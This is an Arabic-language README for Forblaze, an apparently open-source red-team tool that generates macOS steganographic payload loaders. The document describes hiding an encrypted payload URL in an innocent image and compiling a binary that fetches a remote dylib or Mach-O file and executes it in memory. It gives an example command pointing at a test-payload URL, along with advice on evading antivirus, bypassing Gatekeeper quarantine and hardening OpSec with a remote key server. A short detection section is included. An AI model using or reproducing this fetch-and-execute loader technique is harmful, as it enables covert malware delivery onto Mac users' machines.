asaurusrex/forblazeForblaze - مولد حمولة تخفي لنظام Mac بلغة Python
المؤلف: AsaurusRex
لا تستخدم هذا المشروع لأغراض غير مهام الفرق الحمراء/اختبار الاختراق المشروعة، أو البحث. لا تستخدمه لأي نشاط غير قانوني، واعلم أن هذا المشروع مخصص لأغراض بحثية وللمساعدة في تطوير مهام الفرق الحمراء والزرقاء على حد سواء.
لمقالة المدونة الخاصة بـ Forblaze، تفضل بزيارة https://medium.com/@marcusthebrody/forblaze-a-mac-stego-payload-generator-aaa7e7775571
Forblaze هو مشروع مصمم لتوفير إمكانيات الإخفاء (ستيغانوغرافيا) لحمولات نظام ماك. باستخدام Python3، سيقوم ببناء ملف Obj-C يتم تجميعه لسحب عناوين URL المشفرة المطلوبة من ملف الإخفاء، وجلب الحمولات عبر بروتوكول https، وتنفيذها مباشرة في الذاكرة. يستخدم تشفيرًا مخصصًا - ليس آمنًا تشفيريًا، بل لمجرد إعاقة التحليل من قبل محركات مكافحة الفيروسات. إنه انحراف طفيف عن التشفير المخصص الذي بنيته سابقًا لنظام ويندوز، المسمى Rubicon، وأبسط في التطبيق. يستخدم Forblaze بايتات رأس وذيل لتحديد موقع البايتات المشفرة داخل ملف الإخفاء، ثم يفك تشفيرها باستخدام مفتاح صلب في ملف compile_forblaze.m. يمكن حفظ هذا المفتاح وإعادة استخدامه، بحيث يمكن استخدام عنوان URL مختلف لجلب حمولة مختلفة، ويجب أن يظل Forblaze المجمع قادرًا على التنفيذ والمعالجة (بشرط عدم تغيير بايتات الرأس والذيل، وتحميل ملف الإخفاء الجديد في الموقع الصحيح).
Python3 (تم الاختبار فقط مع Python3.9+)، وبعض مكتبات Python المرتبطة - يجب أن تتولى pip3 التعامل مع أي تبعيات Python تحتاجها. بالإضافة إلى ذلك، سيتم استخدام clang للتجميع، ويجب تشغيل forblaze على ماك ليتم تجميعه بشكل صحيح.
usage: forblaze_url.py [-h] [-innocent_path PATH] [-o OUTPUT] [-len_key LENGTH_OF_KEY] [-compile_file COMPILE_FILE] [-url_to_encrypt URL] [-supply_key SUPPLIED_KEY] [-stego_location STEGO_LOCATION] [-compiled_binary COMPILED_BINARY]
توليد الإخفاء للعمليات المضمنة.
الوسائط الاختيارية:
-h, --help عرض رسالة المساعدة هذه والخروج.
-innocent_path PATH قدم المسار الكامل للملف البريء الذي سيتم استخدامه.
-o OUTPUT قدم المسار الذي تريد وضع ملف الإخفاء فيه.
-len_key LENGTH_OF_KEY قدم عددًا صحيحًا موجبًا سيكون طول المفتاح بالبايتات. القيمة الافتراضية 16. يجب أن تكون بين 10 و150 بايتًا.
-url_to_encrypt URL قدم عنوان URL الذي تريد وضعه داخل ملف التجميع.
-supply_key SUPPLIED_KEY إذا كنت ترغب في استخدام مفتاح محدد، قدمه هنا. يجب أن يكون بالتنسيق: -supply_key "\x6e\x60\x..." - أي شرطتين مزدوجتين مطلوبتين بين كل بايت، وإلا لن يعمل.
-stego_location STEGO_LOCATION يجب تقديم موقع على الهدف حيث سيكون ملف الإخفاء. من الحكمة اتباع مسارات كاملة صارمة: /Users/<>/Documents/file.jpg على سبيل المثال.
-compiled_binary COMPILED_BINARY أعط اسم الثنائي المجمع لاستخراج عنوان URL وتشغيل الكود في الذاكرة من ملف الإخفاء. الإعداد الافتراضي هو forblaze.
-method METHOD حدد الطريقة التي ترغب في استخدامها. الطريقة 1 تعتمد على تنفيذ ملف dylib مباشرة في الذاكرة، وتعمل مع حمولات Go وكذلك الحمولات العادية. الطريقة 2 تعتمد على تنفيذ ملف macho مباشرة في الذاكرة، ولكنها لا تعمل مع الحمولات المترجمة بـ Go. الطريقة 3 هي الطريقة 1 ولكنها تعتمد على جلب مفتاح فك التشفير عبر خادم، وهو أكثر ملاءمة للأمن العملياتي (OpSec). الطريقة الافتراضية هي 1. ملاحظة: قد تظل بحاجة إلى تعديل 'module' (المعروف بـ RunMain) يدويًا اعتمادًا على طريقة التنفيذ الخاصة بك!
-key_url KEY_URL قدم عنوان URL للمفتاح لفك تشفير ملف الإخفاء.
python3 forblaze_url.py -innocent_path Land-of-Belle.jpeg -o my_evil_pic.jpeg -len_key 24 -url_to_encrypt "https://your-example.com/test-payload.dylib" -method 1 -stego_location /tmp/my_not_evil_pic.jpeg -compiled_binary innocent_binary
بصراحة، ليست كثيرة. كشف ماك لا يزال ضعيفًا إلى حد كبير، خاصة للنشاط في الذاكرة. كتمرين للقارئ، يمكنك أيضًا استدعاء بايتات الحمولة مباشرة بدلاً من عنوان URL مع بعض التعديلات الطفيفة على هذا الكود. ومع ذلك، اعتمادًا على حجم حمولتك، قد يستغرق جزء التشفير في سكريبت بايثون وقتًا طويلاً غير مقبول.
ملاحظة: نظرًا لأن هذا الكود يُجمّع إلى ثنائي Mach-O (وليس dylib، على الرغم من أنه يمكن تغيير ذلك بسهولة في الكود)، فإن عناصر التحكم مثل Gatekeeper ستمنع تنفيذه افتراضيًا ما لم تتمكن من توقيع الحمولة أو إزالة سمة العزل (quarantine).
أوصي بتغيير أشياء مثل عدد البايتات العشوائية المولدة من الإعداد الافتراضي، وتغيير بايتات الرأس والذيل الافتراضية التي يستخدمها forblaze للعثور على الحمولة في ملف الإخفاء (وكذلك طول تلك البايتات لتكون أقل وضوحًا).
لأفضل أمن عملياتي، أوصي بجلب مفتاح فك التشفير من خادم خارجي تتحكم به - وبذلك يمكنك التحكم في الوصول إلى ذلك المفتاح بشكل صارم، مما يجعل الهندسة العكسية (RE) أكثر صعوبة.
من الصعب جدًا اكتشاف الإخفاء (ستيغانوغرافيا). إذا كنت تعرف مكان ملف الإخفاء، يمكنك البدء في استخراج البايتات المشبوهة بعد نهاية EOF العادي للملف (مثلاً بعد "FFD9" لملفات jpeg). ستظل هذه البايتات المشبوهة تحتوي على الحمولة المشفرة الفعلية وبايتات عشوائية غير ذات معنى، والتي قد يصعب تمييزها عن بعضها البعض ما لم تمتلك بايتات الرأس والذيل المحددة بواسطة Forblaze. يمكنك البحث خلال هذه البايتات والبحث عن أنماط البايتات المتكررة، حيث أن هذه هي الطريقة التي تعمل بها بايتات الرأس والذيل مع forblaze، ولكن يمكن للمشغل الماهر جعل ذلك أكثر صعوبة في العثور عليه من الإعداد الافتراضي. إذا تم اكتشاف حمولة، يمكنك بالطبع إجراء هندسة عكسية للثنائي ومحاولة تحديد موقع ملف الإخفاء، ثم محاولة استخدام المفتاح الصلب والرؤوس/الأذيال لعكس عنوان URL الذي يتم استدعاؤه (أو بايتات أخرى). لكن كل ذلك يفترض أنك عثرت على الثنائي بطريقة أخرى.
تم اختبار هذه الأداة على إصدارات مختلفة من نظام ماك OS، بما في ذلك Big Sur و Catalina (أنظمة x64). يُرجى إبلاغي إذا واجهت مشاكل.
التشفير المخصص هو تشفير قيصر (Caesar cipher) أساسي، حيث يتم استخدام بايتات مختلفة من المفتاح لإزاحة بايتات النص العادي الخاص بك. وهذا هو السبب في أن المفاتيح الأكبر ليست بالضرورة أفضل لتشفيرك - يعتمد الأمر على طول النص العادي. إذا كان النص العادي الخاص بك هو 50 بايت، وتستخدم مفتاحًا بحجم 150 بايت، فسيتم استخدام أول 50 بايت فقط من المفتاح. ومع ذلك، إذا كان النص العادي أكبر من 150 بايت، ستكون المفاتيح الأطول أكثر أمانًا.
الإخفاء بسيط جدًا: يتم الاحتفاظ ببايتات الملف البريء الأصلي كما هي، ويتم إلحاق بايتات عشوائية (بالإضافة إلى بايتات الحمولة المشفرة) بعد هذه البايتات. هذه البايتات العشوائية تكون افتراضيًا بطول يتراوح بين 2 و2000 (من المحتمل أن يحتاج هذا إلى التغيير ليتناسب مع حجم النص العادي -> النصوص الأكبر تعني توليد المزيد من البايتات العشوائية).
جزء التنفيذ في الذاكرة يتبع https://blogs.blackberry.com/en/2017/02/running-executables-on-macos-from-memory، بالإضافة إلى مُحمل maisal (لا يمكن العثور على الرابط حاليًا)، مع التغيير البسيط أنه بدلاً من قراءة بايتات الحمولة من ملف على القرص، يتم قراءتها عبر http/https.
أنا منفتح جدًا لتلقي التعليقات والتعاون! آمل أن يساعد هذا في توليد نقاش مفيد حول موضوع التشفير المخصص، أو يوفر للباحثين رؤى جديدة.